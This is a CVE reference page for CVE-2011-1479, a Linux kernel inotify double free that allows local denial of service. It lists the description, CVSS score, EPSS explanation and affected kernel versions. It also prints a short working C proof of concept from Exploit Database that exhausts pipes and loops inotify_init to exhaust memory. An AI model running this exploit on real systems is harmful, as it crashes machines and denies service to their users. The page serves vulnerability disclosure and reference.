CVE-2011-1479 : Detail

CVE-2011-1479

0.05%V3
Local
2012-06-21
23h00 +00:00
2012-06-21
23h00 +00:00
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CVE Descriptions

Double free vulnerability in the inotify subsystem in the Linux kernel before 2.6.39 allows local users to cause a denial of service (system crash) via vectors involving failed attempts to create files. NOTE: this vulnerability exists because of an incorrect fix for CVE-2010-4250.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.7 AV:L/AC:M/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 35600

Publication date : 2011-04-10 22h00 +00:00
Author : anonymous
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/47296/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users. */ #include <sys/inotify.h> #include <unistd.h> int main(int argc, char *argv[]) { int fds[2]; /* Circumvent max inotify instances limit */ while (pipe(fds) != -1) ; while (1) inotify_init(); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.38.8

Linux>>Linux_kernel >> Version 2.6.38

Linux>>Linux_kernel >> Version 2.6.38

Linux>>Linux_kernel >> Version 2.6.38

Linux>>Linux_kernel >> Version 2.6.38

Linux>>Linux_kernel >> Version 2.6.38

Linux>>Linux_kernel >> Version 2.6.38

Linux>>Linux_kernel >> Version 2.6.38

Linux>>Linux_kernel >> Version 2.6.38

Linux>>Linux_kernel >> Version 2.6.38

Linux>>Linux_kernel >> Version 2.6.38.1

Linux>>Linux_kernel >> Version 2.6.38.2

Linux>>Linux_kernel >> Version 2.6.38.3

Linux>>Linux_kernel >> Version 2.6.38.4

Linux>>Linux_kernel >> Version 2.6.38.5

Linux>>Linux_kernel >> Version 2.6.38.6

Linux>>Linux_kernel >> Version 2.6.38.7

References

http://www.openwall.com/lists/oss-security/2011/04/11/1
Tags : mailing-list, x_refsource_MLIST